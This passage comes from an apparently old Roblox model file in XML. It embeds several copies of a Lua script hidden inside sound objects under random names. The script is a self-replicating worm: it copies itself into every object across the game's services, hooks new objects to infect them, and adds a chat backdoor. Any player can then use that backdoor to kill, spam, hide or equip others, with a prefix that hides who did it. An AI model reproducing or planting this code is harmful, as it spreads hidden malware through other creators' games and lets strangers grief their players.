if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX484">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-29.9876099</X>
								<Y>3.28031659</Y>
								<Z>119.301186</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">0</float>
							<float name="LeftParamB">0</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Torso</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">0</float>
							<float name="RightParamB">0</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX485">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">roblox</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX486">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">nkg9</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX487">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">zbx303ez</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX488">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">vbggmqg6w</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX489">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">6s09854</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
